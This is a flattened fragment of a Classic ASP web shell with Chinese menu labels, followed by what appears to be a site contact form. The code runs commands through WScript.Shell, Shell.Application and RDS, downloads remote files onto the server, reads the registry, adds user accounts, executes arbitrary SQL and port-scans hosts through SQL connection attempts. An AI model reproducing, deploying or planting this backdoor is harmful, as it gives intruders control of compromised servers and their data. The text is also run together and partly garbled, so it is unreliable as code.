HttpXml(url,method,downTrue) Dim http,data Set http=CreateObject("MSXML2.XMLHTTP") with http .Open "POST",url,False If method="POST" Then data=Request.Form .SetRequestHeader "CONTENT-TYPE",request.ServerVariables("CONTENT_TYPE") .Send(data) Else .Send() End If If .ReadyState<>4 Then Exit Function fileExt=LCase(Mid(url,InStrRev(url,".")+1)) If InStr("$jpg$gif$bmp$png$js$ico$","$"&fileExt&"$")>0 and not downTrue Then Response.Clear Response.BinaryWrite .ResponseBody Response.End end if HttpXml=.ResponseBody end with Set http=Nothing End Function Function BytesToStr(Bytes,SSet) Dim Stream Set Stream=GetStream() With Stream .Type=1 .Mode =3 .Open .Write Bytes .Position=0 .Type=2 .Charset=SSet BytesToStr=.ReadText .Close End With Set Stream=nothing End Function Sub SysTools()'系统工具模块%> ">

S.A运行程序	路径及程序名:	参数:
WScript.Shell	路径及程序名:	参数:
Stream文件上传		上传到目录:
HTTP网页代理	XMLHttp断点续传(请用辅助工具)
远程文件下载到服务器	远程URL:	本地文件:
注册表读取	注册表键值:
添加帐号(1%成功率)	用户:	密码:
数据库操作	ADO连接串:	SQL语句(可以为空):
文件解包MDB	MDB文件路径:	解压到目标目录:
文件(夹)搜索	路径:	包含名字:
文件&文件目录操作	完整目录位置	S.A FSO	新建文件
端口扫描	IP:port:	STREAM FSO\|保存位置: ">
ASP运行环境
response.write(123)

<% End Sub Function Thread(ips,port,f,opt) tmp=Split(port,",") ip=Split(ips,",") Application("isto")="

" For l=0 to Ubound(ip) If InStr(ip(l),"-")=0 Then For i=0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ip(l),tmp(i)) Else seekx=InStr(tmp(i), "-") If seekx>0 Then startN=Left(tmp(i),seekx-1) endN=Right(tmp(i),Len(tmp(i))-seekx) If Isnumeric(startN) and Isnumeric(endN) Then For j=startN To endN Call Scan(ip(l),j) Next Else Application("isto")=Application("isto")&startN&" or "&endN&" is not number
" End If Else Application("isto")=Application("isto")&tmp(i)&" is not number
" End If End If Next Else ipStart=Mid(ip(l),1,InStrRev(ip(l),".")) For xxx=Mid(ip(l),InStrRev(ip(l),".")+1,1) to Mid(ip(l),InStr(ip(l),"-")+1,Len(ip(l))-InStr(ip(l),"-")) For i=0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ipStart&xxx,tmp(i)) Else seekx=InStr(tmp(i),"-") If seekx>0 Then startN=Left(tmp(i),seekx-1) endN=Right(tmp(i),Len(tmp(i))-seekx) If Isnumeric(startN) and Isnumeric(endN) Then For j=startN To endN Call Scan(ipStart&xxx,j) Next Else Application("isto")=Application("isto")&startN&" or "&endN&" is not number
" End If Else Application("isto")=Application("isto")&tmp(i)&" is not number
" End If End If Next Next End If Next timer2=timer thetime=cstr(int(timer2-timer1)) Application("isto")=Application("isto")&"

Process in "&thetime&" s" set sy=new Sys sy.FileSave f,opt,Application("isto")&"" GetErr err End Function Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=s;Password=;" conn.ConnectionTimeout=1 conn.open connstr If Err Then If Err.number=-2147217843 or Err.number=-2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then Application("isto")=Application("isto")&targetip&":"&portNum&".....Close
" Else Application("isto")=Application("isto")&targetip&":"&portNum&".....Open
" End If End If End If End Sub function DriveType(TP) select case TP Case 0:DriveType="未知磁盘" Case 1:DriveType="移动磁盘" Case 2:DriveType="本地磁盘" Case 3:DriveType="网络共享" Case 4:DriveType="光驱" Case 5:DriveType="RAM磁盘" end select end function function FOption(D,F,Spare)'文件&目录操作 on error resume next if F="P" then FOption="Rname COPY MOVE DELETE ATTRIB Package" elseif F="F" then Name=mid(D.Path,instrrev(D.Path,"\")+1) If err then Name=D.Name:err.Clear FOption="Rname EDIT DOWN COPY MOVE DELETE ATTRIB" End If end function function Rpath(str)'文件路径转换 Rpath=replace(replace(replace(str,"\","\\"),"'","\u0027"),"""","\""") end function Sub GetErr(Err)'检查错误处理 If Err Then echo "

错误:"&Err.Description&"

错误源:"&Err.Source&"

" echo "

"&AppName&"":Err.Clear:Response.End End If End Sub function GetSize(thesize) if thesize>=(1024^3) then GetSize=fix((thesize/(1024^3))*100)/100&"g" if thesize>=(1024^2) and thesize<(1024^3) then GetSize=fix((thesize /(1024^2))*100)/100&"m" if thesize>=1024 and thesize<(1024^2) then GetSize=fix((thesize/1024)*100)/100&"k" if thesize>=0 and thesize<1024 then GetSize=thesize&"b" end function Function Ico(Num) Ico="&#"&Num&"" End function '接受URL函数 function geturl(str) geturl=request.QueryString(str) end function '接收表单函数 function input(str) input=Request.Form(str) end function '输出过程 sub echo(str) response.Write(str) end sub Function HTMLEncode(Str) HTMLEncode=server.HTMLEncode(Str) End Function Function GetFso() Dim Fso,Key Key="Scripting.FileSystemObject" Set Fso=CreateObject(Key) if IsEmpty(Fso) then Set Fso=Hfso if Not IsEmpty(Fso) then Set GetFso=Fso Set Fso=RDS(Key) Set GetFso=Fso End Function Function GetSA() Dim SA,Key Key="shell.application" Set SA=CreateObject(Key) if IsEmpty(SA) then Set SA=HSA if Not IsEmpty(SA) then Set GetSA=SA Set SA=RDS(Key) Set GetSA=SA End Function Function GetWS() Dim WS,Key Key="WScript.Shell" Set WS=CreateObject(Key) if Not IsEmpty(WS) then Set GetWS=WS if IsEmpty(WS) then Set WS=Hws Set WS=RDS(Key) Set GetWS=WS End Function Function GetXml() Set GetXml=CreateObject("MSXML2.DOMDocument") End Function Function GetStream() Set GetStream=CreateObject("Adodb.Stream") End Function Function GetConn() Set GetConn=Createobject("ADODB.Connection") End Function Function GetRs() Set GetRs=CreateObject("ADODB.RecordSet") End Function Function RDS(COM) Set r=CreateObject("RDS.DataSpace") Set RDS=r.CreateObject(COM,"") End Function %> <% Sub InterFace() echo "添加插件接口--写到Sub InterFace方法里面就OK了" End Sub %>

你的姓名
电子邮件
标　题
栏　目

我们会在最短的时间内与您联系！

aaaaaaaaaaaaaaaaaaaaaaaaaaa